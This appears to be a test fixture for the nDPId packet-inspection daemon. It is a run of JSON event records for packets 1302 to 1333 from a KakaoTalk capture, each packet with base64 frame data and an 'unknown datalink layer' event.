+00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1302,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":86249,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBqCSmByAAMVJql2gRWPG3l8w5hOwzoy9m2wROuAugBJqx5iNx7FJ02GyGvsIOD2bPTvUWQL0OmwzWT8TtbUF1kXKRhc5TuDE7J9Dm4r2uYi9gLbNEOgXWAAAAGz5aUe2fjPfiCzA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1302,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1303,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":86676,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGwAAEAAQBHaNgoYUrwByQGuKBxaBgBYnKiAbDJ2fq2nA1SapdrWs4T3QNoWuQ2eP1YWBmf2ex5qpeeABF0NBJAEi9aSo+X+6symXoCfEniM\/VCmhszSIrrGzw0F3NG5FSm+h2NXY4FlAg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1303,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00600{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1304,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":113837,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAPxHa2AoYUrwByQGuLDhaBAC2zCCAbE\/wiz5FWguGVRmsZO4PXZ2j9yFP4qEDQPXIuoWUtnEKEpiaKazpyJg8hYlFVbKIAWaN73f2ef+SGMlkExhl2x4PRFlwyRZncCkz8PbLF3CUZPRZI0ecQh5OZtjwYxzwl6wL9zxNGpa2vNao1\/jSMwb6LuSV3sJ0FWTyQ\/judsbl7JEjMH6DH5KZ\/3KMixdhYLXjnfVWf2Epf3YavUEgaCrciPY05r9mG5yxYik="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1304,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1305,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":113990,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKcAAEAAPxHa+woYUrwByQGuLDhaBACTxMmAbE\/xiz5JGguGVRmUBIAOqvPkNjH+R1rE7pWpqJoAX3Qjcg9GbhvMx4dx98fG2ouesXHZ9f\/eWHq1oAm6Le0I1RNkLnH1i0P2rRV4497wu7\/r6DifH0+2JBIDzbtAtWhfkN5KHRT1XgifwpbW2hWgCrHF8CyfYoW8JJQiiHRLRnevjlZMKHBT9dbY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1305,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1306,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":165259,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGoAAEAAQBHaOAoYUrwByQGuKBxaBgBWk9iAbDJ3fq2qw1SapdrlxATjMSWeUY53aSRiElKtcAieiKYxsTBFtn\/yWyQ3dkPH5Jt1chReO54gIKM4Zs8h3jmV6fNY436JTM2tc4Iv3EI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1306,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00593{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1307,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":214331,"pkt_caplen":211,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":211,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMMAAEAAPxHa3woYUrwByQGuLDhaBACvLGGAbE\/yiz5M2guGVRm93SylDwF3ksO8izCp6axIx7Mn4iGwgIDjKSkDgUQ+Yupgkv7mP9o82vT\/xhPHS8eAbim2jNnPHqcQdhNOI2zdBpyZlWq9p1+28kOS847aUATlQWdctKPOrx9OdpyuPh7F9MgwOI6ShKVj7tgjq8FX\/okoIJH+wY\/44SGd8oQ1G4EYBaPoTuc2f+KFHIrzr\/WjyW4t8LUyjf0+Jw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1307,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1308,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":214423,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKcAAEAAPxHa+woYUrwByQGuLDhaBACTeWuAbE\/ziz5QmguGVRldY5SQCS8X2yVWZ3ChXemYDQEOMRUQpv\/66kl3X3z9rjqAOKoF7DUbTsFq+CSBnjGZiCYgkPv1BBaYlN13zD1vqtFy\/1CYzphFqTqjVKyBvD4uAEyILD5XGEK1CsUL6j0614iSMu9opWxZ\/CnKqh8BpdhSKkSoRDTSkZp+URAY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1308,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1309,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":218573,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGSRqAbDJ4fq2ug1Sapdog8L62E0Fqidr3oIpPQf2fOkTYH6N0vCZTsfoQ8cLuedJF07yIb0bF3psABrex9M4zIg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1309,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1310,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":260443,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLnl+AbDJ5fq2yQ1SapdpqZVe1D1NcrHJJZ5EmLRZb5Dd5evE3zWxfVT32SoWcCGGnFG4dqvMx9bp+gjSH6BKvTq07fD3L"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1310,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1311,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":302649,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKLSeAbDJ6fq22A1Sapdp\/DCTEPCf\/N1hgwCb3tQIThZSRzoh8DKyQL5ocmG3jR1MPhcTRcTHlKeE7sTenNRdSdirends="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1311,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1312,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":313025,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALEAAEAAPxHa8QoYUrwByQGuLDhaBACdC\/SAbE\/0iz5UWguGVRmgmXijIdEOGWIVTJsedrrSqQ1xMlP1HJqWnDa\/ghkAOGtsGZ1DpopSBFJqbyh9mZRYOMQGpqc1EmSQN2uyVoFLBD0u\/eURVyE0dkqX2JYkLtxlTTY33Cq24TRRip5QOYZriFCylanlAFpiRoIuZjgFc2y+3\/OyjAeazR6WTWenZMvUE\/aEYCD6Xw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1312,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1313,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":405432,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBIRAmAbDJ7fq25w1SapdosyfJA+VF+Z8VmQfJiE5WCvyP581JQbgoO5QVCko4mOBT5AQwdSpVcWhRjKAYaZvexEnL6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1313,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1314,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":414099,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK4AAEAAPxHa9AoYUrwByQGuLDhaBACaCHSAbE\/1iz5YGguGVRneUYu5ONiFGl86I3iDKkIS5X6\/uCnWX0\/KnSBtig4XdP95p1G+n6Oh07lf\/NHBfVwCC\/9nCgChN2\/BwCYBd2Wy02R7aeHiaM96r+ikleuIuEBEySv31LhxOnVaujnlQH1ToO+X35rLhtFOdG\/UqNyny7ufC+k72+eMAA70PpRNDrU1XGrOoQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1314,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1315,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":414282,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBqdx6ByAAMC4ZVGYPBykZo98GjW7rSje0MC\/FhIPRFNwClmIb9SGUZgNWOTNyayh3yccRe6e23Me\/3Lybtb9K3v7dyVC\/mDym9bajjfD19bHFV97QkQZaAAAAGt3WpIYgG7Bo8Eg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1315,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1316,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":414405,"pkt_caplen":213,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":213,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMUAAEAAPxHa3QoYUrwByQGuLDhaBACxgb2AbE\/2iz5b2guGVRkOWZvScrlI6nPlVXKT7aA3M8UM\/EbsHDuTkchG\/q6kPxmVH1INnEAuQKVowDDJJJnpNisX5fZ\/MEJS\/j7+WwkjR5sCSZKfjE2ZXSa6fOaLijaeN7fQZYu0qemkMtNGgIDXsRWUnP8n64AjoJa6yobfu4kTZaQCZoPtkgt6yn\/6Jhv3k5hOL2fmuI8k2uJbcabSdXvP6U9T47UMqC5o"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1316,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1317,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":441657,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGMW2AbDJ8fq29g1SapdpWraRrbGW16m0sx3XUNzDyHY+o0bcWRq7WcVEUeNsxeajqkkpNk38YqLVHMokfonfxYg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1317,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1318,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":478369,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEipyAbDJ9fq3BQ1Sapdp0U\/gjCLz6yE2GRRXXmYq76a6dPW6axwBN3BBo6SGS++swHA4qVeYffPd5BTQnZ10="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1318,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00556{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1319,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":516089,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKkAAEAAPxHa+QoYUrwByQGuLDhaBACVHGiAbE\/3iz5fmguGVRnkAFYL8q57TZfgAsET6IY8CF02OIIOntzQ37d4Y6X3vInE1Hg4pPsEGDSX9vJXgyUGe6bUuZG1lukb8oBR2s0DI848EGeil\/8vLlRxWcu3waq4W1D4\/plAvVqjQ2c8qCc0kUxPyO97gJLuIOsZfLHn\/tPJP4lZjqqLPW8Ok5CJ8bg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1319,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1320,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":516150,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALYAAEAAPxHa7AoYUrwByQGuLDhaBACiVaCAbE\/4iz5jWguGVRlHPU07jfCRfwm9bN\/lmsmwOJ+HDgEcqPfblhdDGwAG86T0w93Cf0Eqtgiy07knU\/46IAMsPreiwl0n3YpeKmeoCT8xOgcA+\/stSBgLnhDRc5RsLGVFdBJMZOFtLaBeeG0NUZ0+\/YNonbX1Uu7wsCKbeD8cWSWgoaqF5hAG++TjVbrbFdoTVRMaElHdG26E"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1320,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1321,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":562323,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGFkSAbDJ+fq3FA1SapdoAIsVi2hKQA9SE8jrqe7zIrpVS2NekprjjDWvw2MC1+I0z7GlEtBJs4LpAPZiZuo\/VnQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1321,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1322,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":606757,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKq9SAbDJ\/fq3Iw1SapdpWAOYL2u5JMEFNRAQi0JoRT6gL\/xa3eEHgnksS\/XE6tgqou345vnEqFRucQkC03mqECjrjivQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1322,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1323,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":612830,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAPxHa7QoYUrwByQGuLDhaBACh0kqAbE\/5iz5nGguGVRlSipNIGitoucF83uat8UHmD3fb5sOH2bAtWCBd2ClceE8TXQjqTQu8FaIsbOWJ6iREsdONWeKrlKdTsDUhf77o+YprTaQTlla+NpOxPtUmSeTuUe0fe+djrTMIhTdRZ0clmxhNDe63pgW0eondUBDZeAAza\/dRyagKn+WsZBcRHPKgkk1kMnW+HlRjvQg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1323,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1324,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":703528,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBIeDqAbDKAfq3Mg1SapdqT3oPhXpCztJD0vjDvHjssuqgJZWQBD0PyMGluix95k6iMFWHzz9PW+33vIXGCBcv6bo8Y"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1324,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1325,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":716681,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMAAAEAAPxHa4goYUrwByQGuLDhaBACsl\/WAbE\/6iz5q2guGVRngFwDk+wG0BYke1feGeCe0gwrGzBNJ1IOmvwmMXNpGRbD22w8iHJzT8KIHK0SQkGv2yhw4OEUHkwL4oEIA12T12PHToZ0ZSTTiG3SxbVPqMv31orP82ExRuPmMxGn4md5c7LqBad5YKAaeTsy5NHRb2gHiYFYnxoGvb5hCjLRkKepkaAN\/I1HTpQAZoIbeUvDzVph8rnjqPA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1325,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1326,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":716834,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJwAAEAAPxHbBgoYUrwByQGuLDhaBACIsh6AbE\/7iz5umguGVRlny3gzm1sZdEhNguRsdtH15nzPfFLaFd403LMcWzSNC83QdkVBj1KpAgot+8uL78utD3yCaRDQ+l7glPcW8X2qTW1X1BoiswdrlrccGdtqk1kQy7TKb9\/x2VG9Og\/fPvK2SlFwaDSFwlWeD3isS3CxlUojIg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1326,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1327,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":744910,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAQBHaRwoYUrwByQGuKBxaBgBHpn6AbDKBfq3QQ1SapdpqqKZm1n1AYSlOHrpYfL4Ni5g0JxXiSMPgmpo1lZjgyDXVHAk+cptrc1j5X6yAdOLkMEY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1327,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1328,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":785132,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAQBHaTAoYUrwByQGuKBxaBgBCZcaAbDKCfq3UA1Sapdo++EZQ0wcWiqB8IPwfSP\/SzUqXbTB8AYPN8lzfRoo2Vh0FLiLeIMF1NgHAp0fi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1328,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1329,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":812445,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALEAAEAAPxHa8QoYUrwByQGuLDhaBACdpOaAbE\/8iz5yWguGVRnznZcmTgzEWZ9JSb+P34dZn0LWbvEf1dMe7NFm0AhDJvOtf1NWHgrKSshQlta7dRjiJ3E0W6Ls\/hmKJTMH6uT1mJm1QrKQH4tzsrAEEOZ4esPmAnuQVw3rXznCwcFNAsQ+E\/wD6XaQ3Kdjz83A8nMtUfXyq7Rz3bIQ8j+naiMDO7dpzowjY13C0Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1329,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1330,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":812659,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHAAAEAAPxHbMgoYUrwByQGuLDhaBABcpQGAbE\/9iz52GguGVRkjC7W7oiGK6mbqIjkwpguQyF8xNIgVKiitjXZW6x5fXGlQs6QfnSAUTFs2Y9NiWFm\/EPYLdwczn20hd5jLjFEpPRwa3nyYGwY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1330,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1331,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":885138,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/goqAbDKDfq3Xw1Sapdo9p6TRX1Fw\/DfMXOn5yGafjUqrhLA+0iQB0qQfe3+mWvMN0DzEpcDkI+n\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1331,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1332,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":912177,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABI3s+AbE\/+iz552guGVRk1KdClqP6u+dvEuDF3CgQBe+d9Tb6PmpOLl\/nJMEdkBoJWfxgVZiTilvnkutfqKmAj\/U1f"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1332,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1333,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069190,"pkt_ts_usec":926398,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/aWWAbDKEfq3bg1SapdrCJOp2kU5g4mLQH8ukLOqpjFL1Qv4w8rxllfkac8NeCD7NXUDNTI9ifQrj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1333,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 